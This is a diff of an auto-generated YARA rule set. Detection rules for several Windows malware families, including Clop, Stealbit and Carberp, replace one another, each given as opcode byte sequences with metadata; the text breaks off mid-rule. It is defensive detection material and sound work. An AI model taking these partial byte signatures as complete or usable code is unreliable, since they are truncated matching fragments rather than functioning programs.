2490368 } -rule MALPEDIA_Win_Voidoor_Auto : FILE +rule MALPEDIA_Win_Orangeade_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "21b775d6-fc03-5dd6-a228-147ffaddc7f0" + id = "a790e493-320f-57de-9b62-d13796c94676" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.voidoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.voidoor_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orangeade_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "3d15a11c9349ebbd78b8b5ac32c650a51c9ca8251bf91feba17b7b25a2692cb6" + logic_hash = "bc9cfd6680cc4f32cd41e9edf43afa43b54975c598906df96ea95e31fa6c1612" score = 75 quality = 75 tags = "FILE" @@ -117609,32 +117640,32 @@ rule MALPEDIA_Win_Voidoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 740d 83cb40 eb66 81cb80000000 eb5e 83cb20 eb59 } - $sequence_1 = { 83c404 837c241000 7509 55 e8???????? 83c404 5b } - $sequence_2 = { c786a805000002000000 5e c3 83f901 74bf 68???????? 50 } - $sequence_3 = { c7461807000000 eb36 803f0a 756d 47 83c3ff c7461807000000 } - $sequence_4 = { 0f8498000000 83f801 0f848f000000 83f8ff 0f8486000000 f6470c82 7551 } - $sequence_5 = { e8???????? 83c404 85c0 0f8547010000 817e782c010000 0f8cdc000000 39850c030000 } - $sequence_6 = { ff33 ffd6 ff7304 ffd6 8b4c243c 5f 5e } - $sequence_7 = { e9???????? 8d8de8fdffff e9???????? 8d8d48feffff e9???????? 8b8d78fcffff e9???????? } - $sequence_8 = { c78424e005000001010101 c78424e405000001010101 66c78424e80500000100 33c9 8bff 8a848c08050000 3422 } - $sequence_9 = { e9???????? 57 33ff 8bcf 894de4 8bc7 3998f8f14b00 } + $sequence_0 = { 8bb42428050000 50 8bce e8???????? c744241001000000 } + $sequence_1 = { 50 8d942470020000 51 52 ff15???????? } + $sequence_2 = { f3ab 66ab aa 8d842468020000 50 } + $sequence_3 = { 6881000000 6a00 c784249428010000000000 ff15???????? 8bf0 56 } + $sequence_4 = { aa b93f000000 33c0 8dbc2465010000 } + $sequence_5 = { 8d4c2424 c684248828010002 e8???????? 8d4c2410 c684248828010001 e8???????? 8d4c2414 } + $sequence_6 = { b93f000000 33c0 8d7c2479 885c2478 f3ab } + $sequence_7 = { 68???????? 8d4c2410 e8???????? 68???????? 6884000000 53 ff15???????? } + $sequence_8 = { e8???????? 83c404 8d4c2424 c684248828010002 } + $sequence_9 = { 50 8d4c2410 c684248400000001 e8???????? } condition: - 7 of them and filesize < 1744896 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Mistpen_Auto : FILE +rule MALPEDIA_Win_Carberp_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "da7a11f3-113a-5db0-8b14-11346c846c77" + id = "a6dabcbc-eb1a-5db4-81e2-886d378b4be1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistpen" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mistpen_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carberp_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "70ffa3f473a1017022fe8085a2fe1094ee2434500473a4c1dd94bcb7c2db0a7a" + logic_hash = "86e4e7a3a500c58000a297ef120e6eaa02ce211014fb7c016ba6df2b3118cc01" score = 75 quality = 75 tags = "FILE" @@ -117648,32 +117679,32 @@ rule MALPEDIA_Win_Mistpen_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7602 ffc0 4585c0 8bf0 } - $sequence_1 = { 420fb6842090960200 4433d8 45335ffc 4533da 458bd3 45895e20 4533d0 } - $sequence_2 = { 4533848460850200 410fb6c3 4533848460750200 400fb6c7 4533848490920200 4533465c 418bc0 } - $sequence_3 = { 4403c1 418bcb 410bca 458bc8 23cf 41c1c91b } - $sequence_4 = { 4c8d0d74d70000 b919000000 4c8d0564d70000 488d1561d70000 e8???????? 4885c0 7420 } - $sequence_5 = { c1e31e 8bcf 410bcd 8bc7 4123cf 4123c5 0bc8 } - $sequence_6 = { 458b8c9460810200 4133bc8490920200 418bc0 41337e20 c1e808 0fb6c8 8bc3 } - $sequence_7 = { 83f838 7cec 8b4c2458 8bc1 c1e818 884594 8bc1 } - $sequence_8 = { 488d45e8 48894de8 488945f0 488d1590d10000 b805000000 894520 } - $sequence_9 = { 7e1d 488b5588 4c8d4c2450 458bc4 498bce } + $sequence_0 = { ff750c 33db ff35???????? e8???????? 8bf0 59 59 } + $sequence_1 = { 7416 80f92f 7411 80f93d 740c 3bc6 7e04 } + $sequence_2 = { 7415 3bcb 7611 83fa1f 730c 884415d4 42 } + $sequence_3 = { 8d0409 83f80a 89442410 7e08 c74424100a000000 3b6c243c 0f8cf5fdffff } + $sequence_4 = { ff7514 e8???????? 8bf0 59 85f6 7416 ff7514 } + $sequence_5 = { 68???????? 50 68???????? 6a03 e8???????? 83c410 8906 } + $sequence_6 = { e8???????? 59 5e c3 6a00 56 e8???????? } + $sequence_7 = { ff731c 6a09 680b110000 ff35???????? e8???????? 83c410 85c0 } + $sequence_8 = { ff742410 ff742410 ff742410 ff742410 ffd0 c3 56 } + $sequence_9 = { 817e0402020000 0f85c1000000 6af4 ff36 e8???????? 59 59 } condition: - 7 of them and filesize < 458752 + 7 of them and filesize < 491520 } -rule MALPEDIA_Win_Clop_Auto : FILE +rule MALPEDIA_Win_Rctrl_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4854a8b5-e52e-5b4e-a6a6-3c1168d9d798" + id = "521dcb03-760d-5ed1-9bc0-cfe33a8e8406" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.clop_auto.yar#L1-L181" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rctrl" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rctrl_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "65d38e339958842c1ae82c8f06911cc6fa67bb1b5d7a3308dc697dc71c286d31" + logic_hash = "3aa1e790ecad0aeaad15ec64d74fdf04a1c9b1767736a5ae9f383b695d1cefd0" score = 75 quality = 75 tags = "FILE" @@ -117687,39 +117718,32 @@ rule MALPEDIA_Win_Clop_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a04 6800300000 6887000000 6a00 } - $sequence_1 = { 83c40c 6860070000 6a40 ff15???????? } - $sequence_2 = { 57 6a00 ff15???????? 68???????? 8bd8 } - $sequence_3 = { ff15???????? 8bf0 56 53 ff15???????? 50 ff15???????? } - $sequence_4 = { 50 ff15???????? 56 53 8bf8 } - $sequence_5 = { 53 8bf8 ff15???????? 8bf0 56 6a40 } - $sequence_6 = { 668b0424 6683e07f 6683f87f 8d642408 0f85fd0b0000 eb00 f30f7e442404 } - $sequence_7 = { 50 ff15???????? 83c40c 6860070000 } - $sequence_8 = { 03d1 0fb6ca 8b55fc 0fb60c01 300c17 47 8a550b } - $sequence_9 = { 8ab800010000 8a9001010000 57 33ff 8975f8 85f6 744e } - $sequence_10 = { 744e fec7 0fb6f7 8a1c06 02d3 88550b 0fb6d2 } - $sequence_11 = { 47 8a550b 3b7df8 72c7 5f 8aca 88b800010000 } - $sequence_12 = { ffd0 c3 8bff 55 8bec 83ec1c 8d4de4 } - $sequence_13 = { 8d85bcefffff 50 ff15???????? 68???????? } - $sequence_14 = { 68???????? 68???????? e8???????? 83c424 6aff } - $sequence_15 = { ff15???????? 68???????? 8d85dcf7ffff 50 } - $sequence_16 = { 6a00 e8???????? 83c408 6aff ff15???????? 33c0 } + $sequence_0 = { 41 0024bf 41 00558b ec 81ec90000000 a1???????? } + $sequence_1 = { e8???????? c3 83795c00 7405 } + $sequence_2 = { 7507 32db e9???????? 6890010000 8d8564fcffff 6a00 50 } + $sequence_3 = { e8???????? cc 55 8bec 837d0c00 57 8bf9 } + $sequence_4 = { 8b02 3b07 7536 52 e8???????? 83ceff 8985c8fbffff } + $sequence_5 = { b801000000 833d????????00 0f8516710000 ba05000000 8d0dd0185a00 e8???????? 5a } + $sequence_6 = { ffb3780b0000 8d4d80 6a00 6a00 56 50 e8???????? } + $sequence_7 = { 8bc7 8b55cc 83c2f0 f00fc1420c 48 85c0 7f08 } + $sequence_8 = { 84c0 75f9 2bce 51 52 e8???????? 6a00 } + $sequence_9 = { e9???????? 8d8de0fcffff e9???????? 8d8de8fcffff e9???????? 8d8d00fdffff e9???????? } condition: - 7 of them and filesize < 796672 + 7 of them and filesize < 4315136 } -rule MALPEDIA_Win_Wmighost_Auto : FILE +rule MALPEDIA_Win_Merdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "55e49921-45ae-5b90-8672-392197d5c46d" + id = "840879eb-651f-58a0-a9dd-c8bbbd75be85" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wmighost_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.merdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.merdoor_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "baccfa7c7ba02590525c187cca262206672accd6710804ff2657e35b11ab051c" + logic_hash = "6ad90da4b59952ca06b1d837955ca9f12c104be55324a03e7aaa640c9c01019a" score = 75 quality = 75 tags = "FILE" @@ -117733,32 +117757,32 @@ rule MALPEDIA_Win_Wmighost_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ff5238 8945fc 837dfc00 7d12 } - $sequence_1 = { 8b95f8feffff 52 ff15???????? 83c410 8b85f8feffff 50 } - $sequence_2 = { 8d95f0fcffff 52 ff15???????? 68e8030000 ff15???????? } - $sequence_3 = { c745fcffffffff 8d4de8 e8???????? e9???????? 51 8bcc 8965c4 } - $sequence_4 = { 8bc8 e8???????? 6aff 8d4de8 e8???????? } - $sequence_5 = { 50 64892500000000 83ec08 894dec c745fc00000000 8d4d08 e8???????? } - $sequence_6 = { ff15???????? e9???????? c745fcffffffff 8d4d84 e8???????? } - $sequence_7 = { 6a44 6a00 8d45b0 50 e8???????? } - $sequence_8 = { 894dfc 8b45fc 50 ff15???????? 8b45fc 8be5 5d } - $sequence_9 = { 6a00 6a00 ff15???????? 6a17 6a00 68???????? } + $sequence_0 = { 41 0fb7c0 47 663102 83c202 6683f908 72cf } + $sequence_1 = { e8???????? 83c40c 8934fd78f30110 eb07 56 e8???????? 59 } + $sequence_2 = { 5d c20400 c7875404000001000000 8b07 } + $sequence_3 = { 8d4590 50 8d45a4 50 ff15???????? } + $sequence_4 = { 75f9 2bca 51 8d85acfeffff 50 8d8d7cfcffff e8???????? } + $sequence_5 = { b91a000000 f7f9 80c261 eb10 e8???????? 99 } + $sequence_6 = { e8???????? 8987e4020000 c645fc02 8d55c0 b8fe000000 c745c0a3008d00 33c9 } + $sequence_7 = { 8dbb78030000 c785dcfdffff01000000 7204 8b07 eb02 8bc7 } + $sequence_8 = { e8???????? 8987e4020000 c645fc02 8d55c0 b8fe000000 c745c0a3008d00 } + $sequence_9 = { 8b7310 8d4310 8b11 51 50 8d4508 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 307200 } -rule MALPEDIA_Win_Stealbit_Auto : FILE +rule MALPEDIA_Win_Redpepper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5dce69d0-a61c-561d-bb3f-783619cef52d" + id = "d2edfb9a-1eb5-5a85-952d-b05e4e2a71cd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealbit" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealbit_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redpepper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redpepper_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "90bb65634be35c442101bb71a7db5f26606dba88a1c52cacba38d15f6d5908ea" + logic_hash = "e96cef7dbcd0aadec344d24829840e1785ca6a9324f588db92d46f4ddb824ac9" score = 75 quality = 75 tags = "FILE" @@ -117772,32 +117796,32 @@ rule MALPEDIA_Win_Stealbit_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 66899528feffff 6689bd30feffff 66899d38feffff 6689bd3efeffff 6689bd42feffff 66894dbc 66895dc0 } - $sequence_1 = { 0f8544010000 6a07 5b 53 8d45bc 8bd6 } - $sequence_2 = { 8bc2 5d c20400 8bd1 8b0a e8???????? 8bc8 } - $sequence_3 = { 8d47f1 c745f877caeb85 03c3 bf28442324 8365fc00 be4f86c861 } - $sequence_4 = { 2ac8 8ac1 5d c20400 55 8bec } - $sequence_5 = { 88460d 57 886e0e 884e0f 6a25 885610 e8???????? } - $sequence_6 = { 8b450c 48 83e801 740e 83e801 750f 8b4508 } - $sequence_7 = { 33c0 66898518ffffff 58 6a74 66898506ffffff 6689b540ffffff } - $sequence_8 = { 8945f8 e8???????? 03c0 8bce 8bd0 e8???????? 6a0c } - $sequence_9 = { 6a20 66899524ffffff 6689952effffff 5a 6a6e 58 6a6d } + $sequence_0 = { 68???????? 6a15 8d562c 6aff } + $sequence_1 = { 8b500c 41 83f904 8b12 8a540aff } + $sequence_2 = { 7405 e8???????? 8bc7 5f c9 } + $sequence_3 = { 8b460c 85c0 7432 8b442420 } + $sequence_4 = { 8b450c 2bc7 50 8d041f } + $sequence_5 = { 6a01 8bcf 8bd8 e8???????? ff75fc } + $sequence_6 = { 6a65 6a20 e8???????? 83c428 8bc5 } + $sequence_7 = { 3c0a 741e 8365f800 3c0d 7503 895df8 3b750c } + $sequence_8 = { 83c404 85c0 7411 8b4c2418 5f } + $sequence_9 = { 8d85b4feffff 50 56 ff15???????? 56 } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 2482176 } -rule MALPEDIA_Win_Mistcloak_Auto : FILE +rule MALPEDIA_Win_Rc2Fm_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bcb29aaa-c37e-5c55-be1e-5d06aa41cabd" + id = "c250c949-1a89-5be3-9c88-097a9b8f6b70" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistcloak" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mistcloak_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rc2fm" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rc2fm_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "6962ced189f702e03fc18d236cee46a2a0844476537e8c819ea6f1c43f9c0922" + logic_hash = "986b120a9f724a13ca09bdf0fceb457439c7912247f9f7f547406d208ddfc0d0" score = 75 quality = 75 tags = "FILE" @@ -117811,32 +117835,32 @@ rule MALPEDIA_Win_Mistcloak_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b049590500110 f644082801 740b 56 e8???????? 59 8bf0 } - $sequence_1 = { 660f282d???????? 660f59f5 660f28aa70100110 660f54e5 660f58fe 660f58fc } - $sequence_2 = { 8b0c8590500110 8b45f8 807c012800 7d46 } - $sequence_3 = { 0f85b1000000 8b4508 dd00 ebc2 c745e418120110 eb19 } - $sequence_4 = { 6bc618 57 8db8104e0110 57 } - $sequence_5 = { 7429 83e805 7415 83e801 0f8595010000 c745e408120110 } - $sequence_6 = { c745e408120110 e9???????? c745e404120110 e9???????? 894de0 c745e404120110 e9???????? } - $sequence_7 = { 85f6 7420 6bc618 57 8db8104e0110 57 } - $sequence_8 = { 8bc1 3914c5781a0110 7408 40 } - $sequence_9 = { 8b45b4 8b0c8590500110 8a043b 03ce 8b75dc 03cb 43 } + $sequence_0 = { 4885c0 7431 8b542420 488b4c2428 4533c0 e8???????? 448b442420 } + $sequence_1 = { 8bc1 d1e9 83e001 418b0481 33c1 3305???????? 33d2 } + $sequence_2 = { 48c1e004 4c89642430 4803c1 4889442438 } + $sequence_3 = { 33d2 ff15???????? 488b0d???????? ff15???????? e9???????? 40b70d e9???????? } + $sequence_4 = { 0f8736080000 4883791000 0f842b080000 48833900 750a 83790800 0f851b080000 } + $sequence_5 = { 41b804000000 488bc8 4889742470 4032ed 48c744242000000000 ff15???????? 85c0 } + $sequence_6 = { ff5010 eb62 448bc0 ba03000700 b900000100 e8???????? } + $sequence_7 = { ff90a8000000 85c0 792c 448bc0 ba07000a00 b903000100 e8???????? } + $sequence_8 = { 5e c3 ff15???????? ba06000600 b911000100 448bc0 e8???????? } + $sequence_9 = { 0f8781010000 83fd09 0f8778010000 448b642478 4183fc04 0f8769010000 488b4938 } condition: - 7 of them and filesize < 196608 + 7 of them and filesize < 410624 } -rule MALPEDIA_Win_Curlback_Auto : FILE +rule MALPEDIA_Win_Icexloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "92c5ff94-7733-554e-9411-adf2e04e8882" + id = "9728ecc3-5098-572d-97ec-dd9f0ce4c650" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.curlback" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.curlback_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icexloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icexloader_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "5762a9ce8640933ae705745a803bbe43e75d1e28f524d7c7dfbc6bececc7a9c4" + logic_hash = "b722e25be5e83e6d5656f0c81a7b7a7da3a63f2b0bd49196ee8eb2c89a1c5431" score = 75 quality = 75 tags = "FILE" @@ -117850,32 +117874,32 @@ rule MALPEDIA_Win_Curlback_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 84c0 7420 488d153ac20c00 488bcb e8???????? eb0f } - $sequence_1 = { ba15000000 488bce e8???????? eb4c 488b5318 488bc8 e8???????? } - $sequence_2 = { 8bd8 85c0 752e 488b97a8080000 488d8f08130000 e8???????? 8bd8 } - $sequence_3 = { 85c0 7848 488b4550 488b08 488b5958 498bd6 488d8d88000000 } - $sequence_4 = { 7527 488b4c2460 4c8bc5 e8???????? 85c0 7516 488d15ac050b00 } - $sequence_5 = { 4883c908 498bc7 48894c2470 0fb6d1 48894590 eb14 b8f7ffffff } - $sequence_6 = { baffff0000 e8???????? 48899ec8010000 33c0 8983ac1c0000 488bce } - $sequence_7 = { e8???????? 894340 83f80d 742a 83f80b 0f8562050000 498bce } - $sequence_8 = { eb11 488b4308 488b08 48894ddf eb04 4c897def 48895db7 } - $sequence_9 = { 80bd2d13000000 7513 488bcd 85db 0f84a1000000 488bd3 e8???????? } + $sequence_0 = { ffd7 890424 ffd6 c744240400800000 890424 ffd3 83c41c } + $sequence_1 = { 807de47e 0fb6d8 0f85d9000000 eb53 8b1e 83eb05 39da } + $sequence_2 = { c705????????04000000 c705????????04000000 66c705????????1503 c705????????00c64300 c705????????04000000 c705????????04000000 } + $sequence_3 = { e8???????? 85c0 7405 833800 7515 c70424???????? } + $sequence_4 = { 89d3 e8???????? 85c0 740f 837cd87800 7406 8d44d878 } + $sequence_5 = { 46 e8???????? 89da e8???????? ebc8 83c41c 5b } + $sequence_6 = { 8b00 85c0 7405 8b00 8945d4 c645db00 31ff } + $sequence_7 = { 89c6 e8???????? 8b55e4 895c2408 89f3 c744241c00000000 c744241800000000 } + $sequence_8 = { 8d4314 e8???????? 8d4310 e8???????? 58 89d9 5b } + $sequence_9 = { 89e5 83ec10 8b4508 83c014 8945fc 8b4508 8b4010 } condition: - 7 of them and filesize < 4027392 + 7 of them and filesize < 656384 } -rule MALPEDIA_Win_Oddjob_Auto : FILE +rule MALPEDIA_Win_Proto8_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ce6f270b-4df6-5ffb-b080-81b3ac10b32d" + id = "a653386d-0e84-5fa0-9e05-c0a8f9e5f3b1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oddjob_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.proto8_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.proto8_rat_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "1f224904baf5c3783236036cd0bf598b6b7ff28b5975f43a99b2c079a61b51a9" + logic_hash = "e04ff586ad60efc989beb40a085354d9626a8059dbb86884929c6e4aa752aeb0" score = 75 quality = 75 tags = "FILE" @@ -117889,32 +117913,32 @@ rule MALPEDIA_Win_Oddjob_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 399da494ffff 7520 399d9c94ffff 7418 8bb59c94ffff 8b06 56 } - $sequence_1 = { c6856affffff51 c6856bffffff8b c6856cffffff56 c6856dffffff14 } - $sequence_2 = { 888592fcffff c68593fcffff53 c68594fcffff3e c68595fcffff5b } - $sequence_3 = { 8d85fefdffff 57 50 c785ccf7ffff01000000 89bdc0f7ffff e8???????? } - $sequence_4 = { 8b7d08 57 8bcb e8???????? 57 8945e0 897d08 } - $sequence_5 = { 0f844c080000 663d7800 0f8442080000 663d5800 0f8438080000 83a598fbffff00 8bb5dcfbffff } - $sequence_6 = { 889dd3feffff 889dd4feffff 889dd5feffff c685d6feffff56 } - $sequence_7 = { f7f7 8b4508 8a0401 32c2 88040e 41 8955fc } - $sequence_8 = { c68558fcffff8b c68559fcffff76 c6855afcffff10 c6855bfcffff01 c6855cfcffffc3 c6855dfcffff53 } - $sequence_9 = { 83cfff f7f7 8b4508 8a0401 32c2 88040e } + $sequence_0 = { 8b5a10 8b4210 83c308 83e3fa a801 7421 8b4210 } + $sequence_1 = { ba80000000 e8???????? c70302000000 4c8b8320010000 488d4318 488b9328010000 33f6 } + $sequence_2 = { 837c244801 0f8595000000 488b6c2458 8b7b30 488b4b48 488b01 ff5008 } + $sequence_3 = { 7468 3bca 8bc1 0f46c2 ffc0 4103c0 3bf0 } + $sequence_4 = { 89531c 48873cc8 4885ff 7506 8d4201 89431c 40f6c701 } + $sequence_5 = { e8???????? 448bf0 e9???????? 4c8b86a8000000 488d8e88000000 488b96b0000000 4d8bcd } + $sequence_6 = { 7636 66660f1f840000000000 8bc8 48c1e106 428b541124 85d2 } + $sequence_7 = { 8b8b64810100 897dd4 897de4 897df4 488b8378810100 488d55b0 } + $sequence_8 = { 83e801 7455 83e801 743d 83e801 740a 83f801 } + $sequence_9 = { 8b4318 3bc8 0f8e96000000 488b4b38 48894c2450 e8???????? } condition: - 7 of them and filesize < 221184 + 7 of them and filesize < 2537472 } -rule MALPEDIA_Win_Swen_Auto : FILE +rule MALPEDIA_Win_Unidentified_074_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "01c07f06-713c-58de-abb2-d741b6b7f019" + id = "0e88fd75-1316-5da0-a27c-d979440b0d1c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.swen" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.swen_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_074" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_074_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "c23034223b381f25ac775fe21bfc90a4b7d7644747556b010494835d089cdb6c" + logic_hash = "efaf1ffd6b205d550b6e92c44f0056ae88e73af2fe4605531aaeb9c3b3bf90af" score = 75 quality = 75 tags = "FILE" @@ -117928,34 +117952,34 @@ rule MALPEDIA_Win_Swen_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? 8d85e0fdffff 50 e8???????? 59 59 53 } - $sequence_1 = { 895dfc 68c8000000 53 68???????? e8???????? 83c40c 891d???????? } - $sequence_2 = { 8d8564ffffff eb03 8d45c8 50 8d8540feffff 50 e8???????? } - $sequence_3 = { 85c0 740a e8???????? e9???????? 8d85bcfcffff 50 } - $sequence_4 = { 0f84f8020000 8d7801 803f79 750a c78574feffff01000000 8818 8d8581feffff } - $sequence_5 = { 85c0 0f85ccfdffff 6820bf0200 e8???????? 59 8bf8 89bd1cfeffff } - $sequence_6 = { 83c40c 85c0 750c 834dfcff 6a01 58 e9???????? } - $sequence_7 = { 680000aa00 ff15???????? 8945d0 6a08 ff15???????? 50 ff75a8 } - $sequence_8 = { 57 6a01 68???????? bb???????? 53 bf02000080 57 } - $sequence_9 = { 7456 6a02 53 53 57 ff15???????? ff7508 } + $sequence_0 = { 8b4d0c 3bf1 752a 8b4614 83f808 7204 } + $sequence_1 = { 83f808 720d 40 50 ffb528e7ffff e8???????? } + $sequence_2 = { 8d8528e7ffff 50 8d8570e7ffff 50 8d85f8e6ffff 50 } + $sequence_3 = { 75f3 8bcf e8???????? 3bd0 } + $sequence_4 = { 8855ee 660f1f440000 0fb64435ec 50 51 } + $sequence_5 = { 33d2 8b4f10 33f6 c740140f000000 83781410 894ddc 8955e0 } + $sequence_6 = { 6800040000 8985f8f7ffff 8901 8d85fcfbffff } + $sequence_7 = { 8b85e0f7ffff 85c0 7407 50 ff15???????? 85ff } + $sequence_8 = { 8d4618 7202 8b00 837e1410 7202 8b36 6a00 } + $sequence_9 = { 8b853ce7ffff 83f808 720d 40 50 ffb528e7ffff } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 335872 } -rule MALPEDIA_Win_Badnews_Auto : FILE +rule MALPEDIA_Win_Nightshade_C2_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "669fd264-b6d6-5d6c-8250-2eaeef7607f8" + id = "506408db-305c-5339-b348-c82ff40c922a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badnews_auto.yar#L1-L205" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightshade_c2" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightshade_c2_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "70dca6886c221c9bfe5fe7481db4825e4f99d418a6f0f0b45196e36a94b37f92" + logic_hash = "73549f59f11fbc1afdb3ccb5b45ff5a2e04bde2ab7c3c97f1567af6c297191aa" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -117967,43 +117991,32 @@ rule MALPEDIA_Win_Badnews_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 50 e8???????? 83c404 68???????? 6804010000 } - $sequence_1 = { c0e004 02c1 3423 c0c003 } - $sequence_2 = { c78534ffffff47657457 c78538ffffff696e646f c7853cffffff77546578 66c78540ffffff7457 } - $sequence_3 = { c705????????33322e64 66c705????????6c6c c605????????00 ff15???????? } - $sequence_4 = { a1???????? 33c5 8945fc 53 56 57 8d8534ffffff } - $sequence_5 = { eb02 33c9 c0e004 02c1 } - $sequence_6 = { 55 8bec 8b450c 3d01020000 } - $sequence_7 = { 68???????? 6a1a 68???????? 57 } - $sequence_8 = { 6a00 d1f9 68???????? 03c9 } - $sequence_9 = { 57 6a00 6880000000 6a04 6a00 6a01 6a04 } - $sequence_10 = { ffd3 85c0 7403 83c608 8a06 } - $sequence_11 = { ff15???????? 85c0 7405 83c004 } - $sequence_12 = { 68???????? ff15???????? b8???????? 83c424 8d5002 668b08 } - $sequence_13 = { 41 